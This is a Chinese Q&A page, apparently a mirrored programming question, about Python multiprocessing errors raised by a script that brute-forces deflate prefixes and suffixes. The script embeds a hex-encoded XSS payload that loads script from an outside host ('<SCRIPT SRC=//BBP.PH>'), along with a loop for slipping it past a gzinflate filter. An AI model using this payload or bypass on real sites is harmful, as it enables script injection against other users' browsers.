首页 > 解决方案 > TypeError: cannot pickle '_io.TextIOWrapper' object and EOFError: Ran out of input when call a function using multiprocessing.Process

问题描述

这是我的脚本,我试图通过预先和附加来自.txt 文件的 .txt 文件来强制一个 hex 值,当它膨胀时它不会显示错误(得到一个 hex 的膨胀值),其中使用 np.txt 保存了一个 python 列表。内存映射。.txt 文件包含具有这种格式的十六进制字符串。

['0x9','0x88'] # the first value is the prepend and the last the append

脚本继续使用 for 循环猜测正确的十六进制值,并在脚本获得正确组合时停止。我正在使用 multiprocessing.Process 通过切片列表来对 .txt 文件进行分区

p1=mp.Process(target=bruteForce,args=(newfp,1,2475,txtlog,payloadAttempts,foundtxt))
p2=mp.Process(target=bruteForce,args=(newfp,2475,4950,txtlog,payloadAttempts,foundtxt))
p3=mp.Process(target=bruteForce, args=(newfp, 4950, 9900, txtlog, payloadAttempts, foundtxt)

其中第二个和第三个参数是分区的开始和结束。运行我得到的脚本

TypeError: cannot pickle '_io.TextIOWrapper' object and EOFError: Ran out of input

#!/usr/bin/env python3
from multiprocessing import Pool
from time import perf_counter
import subprocess
import re
import time
import pickle
import numpy as np
import multiprocessing as mp
def bruteForce(thelistTocheck,start,end,txtlog,payloadAttempts,foundtxt):
    for combi in thelistTocheck[start:end]:
        payloadDeflateBypass = '3c534352495054205352433d2f2f4242502e50483e3c2f5343524950543e'
        payloadDeflateBypasswithPermutation = payloadDeflateBypass.join(combi)
        #lock should be here
        payloadAttempts.append(payloadDeflateBypasswithPermutation)
        command = ['php', '-r', 'echo bin2hex(gzinflate(hex2bin("' + payloadDeflateBypasswithPermutation + '")));']
        result = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        output, errors = result.communicate()
        result.wait()
        print(errors.decode('utf8'))
        if (re.search('^PHP', errors.decode('utf8'))):
            print('not found')  # still looping
            #!!!!!!!!!!! lock
            print(payloadAttempts[-1])#!!!!!!!!!!! lock
            txtlog.write(str(time.time()) + ':FAILED!!!!!!' + ': ' + payloadAttempts[-1] + '\n')
            # log all attempts and save into a txt file#error message
            # the tried hex value saved @ permutationWithPayloadCombined variable
            # timestamp
        else:
            print('stop the loop, search found')
            print('the inflated hex value: ')
            print(payloadDeflateBypasswithPermutation)
            print('The hex you should use: ')
            print(result)
            # save as well
            # timestamp
           #!!!!!!!!!!! lock
            foundtxt.write(str(time.time()) + ':FOUND!!!!!!' + ': ' + payloadAttempts[-1] + '\n')
            break
if __name__=='__main__':
    start = perf_counter()
    newfp = np.memmap('fdsdf18268p1jdDd.txt', dtype='U20', mode='r', shape=(9901, 2))
    originalLengthOFtheList=len(newfp[1:])
    logFile = "log/" + str(time.time()) + '.txt'
    txtlog=open(logFile,'a')
    foundtxt=open('log/found.txt','a')
    payloadAttempts = []
    #partition=
    p1=mp.Process(target=bruteForce,args=(newfp,1,2475,txtlog,payloadAttempts,foundtxt))
    p2=mp.Process(target=bruteForce,args=(newfp,2475,4950,txtlog,payloadAttempts,foundtxt))
    p3=mp.Process(target=bruteForce, args=(newfp, 4950, 9900, txtlog, payloadAttempts, foundtxt))
    #p4=mp.process(target=bruteForce, args=(newfp, 1, originalLengthOFtheList, txtlog, payloadAttempts, foundtxt))
    p1.start()
    p2.start()
    p3.start()
    #.start()
    p1.join()
    p2.join()
    p3.join()

    print(f'Total time: {perf_counter() - start:.4f}s')

# use lock for logs
# pass all list combination in the arguments

标签: pythonmultithreadingmultiprocessing

解决方案


推荐阅读